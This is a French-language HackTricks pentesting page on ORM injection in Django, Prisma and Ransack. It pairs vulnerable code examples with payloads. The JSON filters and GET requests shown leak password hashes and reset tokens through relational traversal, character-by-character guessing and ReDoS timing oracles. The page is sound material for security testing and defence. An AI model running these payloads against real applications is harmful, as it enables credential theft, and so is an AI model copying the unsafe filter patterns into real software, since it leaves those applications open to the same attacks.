ORM Injection

Reading time: 8 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Django ORM (Python)

Dans cet article est expliqué comment il est possible de rendre un Django ORM vulnérable en utilisant par exemple un code comme :

class ArticleView(APIView):
"""
Une vue API de base à laquelle les utilisateurs envoient des requêtes pour
rechercher des articles
"""
def post(self, request: Request, format=None):
try:
            articles = Article.objects.filter(**request.data)
            serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)

Notez comment toutes les request.data (qui seront un json) sont directement passées à filter objects from the database. Un attaquant pourrait envoyer des filtres inattendus afin de leak plus de données que prévu.

Exemples :

  • Login : Dans un simple login, essayez de leak les mots de passe des utilisateurs enregistrés à l'intérieur.
json
{
"username": "admin",
"password_startswith": "a"
}

caution

Il est possible de forcer le mot de passe jusqu'à ce qu'il soit divulgué.

  • Filtrage relationnel : Il est possible de traverser des relations afin de divulguer des informations provenant de colonnes qui n'étaient même pas censées être utilisées dans l'opération. Par exemple, s'il est possible de divulguer des articles créés par un utilisateur avec ces relations : Article(created_by) -[1..1]-> Author (user) -[1..1]-> User(password).
json
{
"created_by__user__password__contains": "pass"
}

caution

Il est possible de trouver le mot de passe de tous les utilisateurs qui ont créé un article

  • Filtrage relationnel plusieurs-à-plusieurs : Dans l'exemple précédent, nous ne pouvions pas trouver les mots de passe des utilisateurs qui n'ont pas créé d'article. Cependant, en suivant d'autres relations, cela est possible. Par exemple : Article(created_by) -[1..1]-> Author(departments) -[0..*]-> Department(employees) -[0..*]-> Author(user) -[1..1]-> User(password).
json
{
"created_by__departments__employees__user_startswith": "admi"
}

caution

Dans ce cas, nous pouvons trouver tous les utilisateurs dans les départements d'utilisateurs qui ont créé des articles et ensuite fuir leurs mots de passe (dans le json précédent, nous fuyons juste les noms d'utilisateur, mais il est ensuite possible de fuir les mots de passe).

  • Abus des relations many-to-many entre Django Group et Permission avec les utilisateurs : De plus, le modèle AbstractUser est utilisé pour générer des utilisateurs dans Django et par défaut, ce modèle a certaines relations many-to-many avec les tables Permission et Group. Ce qui est essentiellement une façon par défaut d'accéder à d'autres utilisateurs à partir d'un utilisateur s'ils sont dans le même groupe ou partagent la même permission.
bash
# By users in the same group
created_by__user__groups__user__password

# By users with the same permission
created_by__user__user_permissions__user__password
  • Contourner les restrictions de filtre : Le même article de blog a proposé de contourner l'utilisation de certains filtres comme articles = Article.objects.filter(is_secret=False, **request.data). Il est possible de récupérer des articles qui ont is_secret=True car nous pouvons revenir d'une relation à la table Article et divulguer des articles secrets à partir d'articles non secrets, car les résultats sont joints et le champ is_secret est vérifié dans l'article non secret tandis que les données sont divulguées à partir de l'article secret.
bash
Article.objects.filter(is_secret=False, categories__articles__id=2)

caution

Abuser des relations peut permettre de contourner même les filtres destinés à protéger les données affichées.

  • Basé sur l'erreur/le temps via ReDoS : Dans les exemples précédents, il était prévu d'avoir des réponses différentes si le filtrage fonctionnait ou non pour l'utiliser comme oracle. Mais il pourrait être possible qu'une action soit effectuée dans la base de données et que la réponse soit toujours la même. Dans ce scénario, il pourrait être possible de provoquer une erreur de la base de données pour obtenir un nouvel oracle.
json
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}

// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
  • SQLite : N'a pas d'opérateur regexp par défaut (nécessite le chargement d'une extension tierce)
  • PostgreSQL : N'a pas de délai d'expiration regex par défaut et est moins sujet au backtracking
  • MariaDB : N'a pas de délai d'expiration regex

Prisma ORM (NodeJS)

Les éléments suivants sont des astuces extraites de cet article.

  • Contrôle total de la recherche :
const app = express();

app.use(express.json());

app.post('/articles/verybad', async (req, res) => {
try {
// L'attaquant a un contrôle total sur toutes les options prisma
        const posts = await prisma.article.findMany(req.body.filter)
        res.json(posts);
} catch (error) {
res.json([]);
}
});

Il est possible de voir que tout le corps javascript est passé à prisma pour effectuer des requêtes.

Dans l'exemple de l'article original, cela vérifierait tous les posts créés par quelqu'un (chaque post est créé par quelqu'un) en retournant également les informations de l'utilisateur de cette personne (nom d'utilisateur, mot de passe...)

json
{
"filter": {
"include": {
"createdBy": true
}
}
}

// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]

Le suivant sélectionne tous les posts créés par quelqu'un avec un mot de passe et renverra le mot de passe :

json
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}

// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
  • Contrôle complet de la clause where :

Examinons cela où l'attaque peut contrôler la clause where :

app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
            where: req.query.filter as any // Vulnérable aux fuites ORM
        })
res.json(posts);
} catch (error) {
res.json([]);
}
});

Il est possible de filtrer le mot de passe des utilisateurs directement comme :

javascript
await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas",
},
},
},
})

caution

En utilisant des opérations comme startsWith, il est possible de leak des informations.

  • Contournement du filtrage relationnel plusieurs-à-plusieurs :
javascript
app.post("/articles", async (req, res) => {
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
})

Il est possible de leak des articles non publiés en revenant aux relations plusieurs-à-plusieurs entre Category -[*..*]-> Article:

json
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}

Il est également possible de leak tous les utilisateurs en abusant de certaines relations many-to-many en boucle :

json
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
  • Error/Timed queries : Dans le post original, vous pouvez lire un ensemble très complet de tests effectués afin de trouver la charge utile optimale pour divulguer des informations avec une charge utile basée sur le temps. Ceci est :
json
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}

Où le {CONTAINS_LIST} est une liste de 1000 chaînes pour s'assurer que la réponse est retardée lorsque la fuite correcte est trouvée.

Ransack (Ruby)

Ces astuces ont été trouvées dans ce post.

tip

Notez que Ransack 4.0.0.0 impose désormais l'utilisation d'une liste d'autorisation explicite pour les attributs et associations recherchables.

Exemple vulnérable :

ruby
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end

Notez comment la requête sera définie par les paramètres envoyés par l'attaquant. Il était possible, par exemple, de forcer le token de réinitialisation avec :

http
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...

En forçant par brute et potentiellement en utilisant des relations, il était possible de leak plus de données d'une base de données.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks